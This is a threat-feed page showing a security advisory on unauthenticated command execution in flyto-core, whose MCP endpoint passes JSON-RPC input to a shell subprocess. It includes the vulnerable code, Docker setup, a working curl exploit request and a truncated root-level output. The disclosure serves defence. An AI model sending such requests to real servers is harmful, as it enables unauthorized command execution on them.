Skip to main content

Threats Tagged 'ghsa-h9f9-h6gm-wc85'

View all threats tagged with 'ghsa-h9f9-h6gm-wc85'. Filter and sort to focus on specific types of threats.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Tag: ghsa-h9f9-h6gm-wc85

Threats Tagged 'ghsa-h9f9-h6gm-wc85'

Click on any threat for detailed analysis and mitigation recommendations

## Unauthenticated Command Execution via HTTP MCP `execute_module` ### Summary The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header. ### Details flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist. The complete unauthenticated data flow from source to sink: 1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation. 2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route. 3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation. 4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`. 5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`. 6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`. 7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`. 8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization. 9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping. The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable. **Vulnerable code excerpts:** ```python # src/core/api/routes/mcp.py:65-66 — missing auth @router.post("") async def mcp_post(request: Request): ``` ```python # src/core/mcp_handler.py:832-838 — attacker-controlled dispatch elif tool_name == "execute_module": result = await execute_module( module_id=arguments.get("module_id", ""), params=arguments.get("params", {}), context=arguments.get("context"), browser_sessions=browser_sessions, ) ``` ```python # src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink params = context['params'] command = params.get('command', '') # ... only empty-command and cwd existence checks ... proc = await asyncio.create_subprocess_shell(command, ...) ``` **Contrast with the protected REST route:** ```python # src/core/api/routes/modules.py:93 — correctly guarded @router.post("/execute", dependencies=[Depends(require_auth)]) ``` The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it. ### PoC **Environment setup (Docker):** ```bash # Build the image (context: the report directory containing repo/ and vuln-001/) docker build \ -f vuln-001/Dockerfile \ -t flyto-vuln-001 \ reports/mcp_57_flytohub__flyto-core/ # Start the server (binds 0.0.0.0:8333 inside the container) docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001 ``` **Exploit (curl) — no Authorization header:** ```bash curl -sS http://127.0.0.1:8333/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": {"command": "id", "timeout": 5} } } }' ``` **Exploit (Python PoC script):** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 8333 --command id ``` **Observed response (dynamic reproduction, Phase 2):** ```json { "jsonrpc": "2.0", "id": 1, "result": { "structuredContent": { "ok": true, "data": { "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", "stderr": "", "exit_code": 0,

Join the discussion

Showing 1 to 1 of 1 result

Filters:Tag: ghsa-h9f9-h6gm-wc85
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses